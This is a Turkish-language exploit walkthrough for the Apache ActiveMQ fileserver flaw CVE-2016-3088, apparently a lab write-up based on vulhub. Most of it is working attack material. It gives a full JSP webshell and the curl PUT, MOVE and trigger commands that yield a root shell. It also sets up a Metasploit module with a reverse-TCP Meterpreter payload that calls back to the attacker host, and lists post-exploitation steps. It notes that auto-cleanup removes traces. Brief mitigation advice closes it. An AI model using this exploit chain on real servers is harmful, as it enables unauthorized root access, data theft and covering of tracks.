Apache ActiveMQ 5.14.0 öncesi fileserver bileşeninde iki tane “unutulmuş” kontrol var ve bunları yan yana koyduğunda root shell alıyorsun.
PUT açık duruyor MOVE’un Destination header’ı da sorgusuz kabul ediliyor.

/fileserver/ JSP çalıştırmıyor ama PUT ile dosya kabul ediyor. /admin/ ve /api/ ise tam tersi dosya almıyor ama her JSP’yi execute ediyor. Saldırgan iki yarım yetkiyi birleştirip yasak bölgeye JSP atıyor. Olay bu kadar.
Önce ufak bir webshell. Java tarafında klasik:
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line);
%>
URL’den ?cmd= ile gelen değeri shellde çalıştırıyor çıktıyı response basıyor.
İlk hamle PUT ile dosyayı fileserver’a koymak:
curl -i -u admin:admin -X PUT --data-binary @shell.jsp http://hedef:8161/fileserver/shell.jsp
-u admin:admin Basic Auth bilgisi -X PUT HTTP method’unu PUT’a zorluyor –data-binary @shell.jsp dosyanın ham içeriğini istek gövdesine koyuyor.
Dönen 204 No Content “yükledim sana dönecek bir şey yok” demek.
Birinci hata burası işte, modern web sunucularında PUT default kapalı olmalı.
Sıra asıl numarada. MOVE ile dosyayı /admin/ altına taşımak:
curl -i -u admin:admin -X MOVE -H "Destination: file:///opt/activemq/webapps/admin/shell.jsp" http://hedef:8161/fileserver/shell.jsp
-H “Destination: …” MOVE’un istediği header. file:// scheme’i sorgusuz kabul edilince saldırgan hedef içinde istediği path’e yazıyor. authorized_keys yazsan SSH açılıyor, passwd üzerine yazsan kullanıcı oluşuyor. Burada /admin/ altına atıyoruz çünkü orada JSP çalışıyor. İkinci hata da bu path validation hiç yok.
Son adım tetikleme:
curl -u admin:admin "http://hedef:8161/admin/shell.jsp?cmd=id"
?cmd=id parametresi JSP içindeki getParameter(“cmd”) düşüyor cevap olarak uid=0(root) dönüyor.

Metasploit tarafı çok daha kısa, modül zaten var.
Yeni bir terminalde msfconsole aç:

Modülü seç ve parametreleri gir:
use exploit/multi/http/apache_activemq_upload_jsp
set RHOSTS 127.0.0.1
set RPORT 8161
set HttpUsername admin
set HttpPassword admin
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 172.17.0.1
set LPORT 4444

RHOSTS/RPORT hedef adresi, LHOST saldırgan host IP’si.
LHOST’u 127.0.0.1 koyma çünkü hedef kendi loopback’ine bağlanmaya çalışır sana erişemez. Hedeften erişilebilir bir IP gir. Modülü yüklediğin anda Metasploit zaten java/meterpreter/reverse_tcp payload’ını default olarak setliyor.
show options ile bir bak ayarlar yerine oturdu mu:

Sonra exploit çalıştır.
Modül önce /api/ altına rastgele isimli bir .jar ve .jsp yüklüyor, hemen ardından stage hedefe gönderiyor callback geldiğinde uploaded dosyaları otomatik siliyor:

Karşımıza Meterpreter prompt’u çıkıyor.
getuid root döner,
sysinfo ile hedef OS bilgisini alırsın,
download /etc/passwd veya upload ile dosya akışı,
shell ile interaktif kabuk ne istersen.
Manuel saldırıdan farkı: AutoCleanup default açık olduğu için yüklediği jsp/jar dosyalarını kendi temizliyor iz bırakmıyor:

Korunma tarafı ise:
5.14.0 ve üstüne çık fileserver default kapalı geliyor
Eski sürümde kalmak zorundaysan conf/jetty.xml içinden fileserver contextini sil
Reverse proxy veya WAF tarafında PUT/MOVE methodlarını blokla
Destination headerında file:// scheme gördüğün anda 403 dön
Admin paneline IP whitelist koy ve admin:admin default credential’ını mutlaka değiştir.
Kaynaklar
https://nvd.nist.gov/vuln/detail/CVE-2016-3088
https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088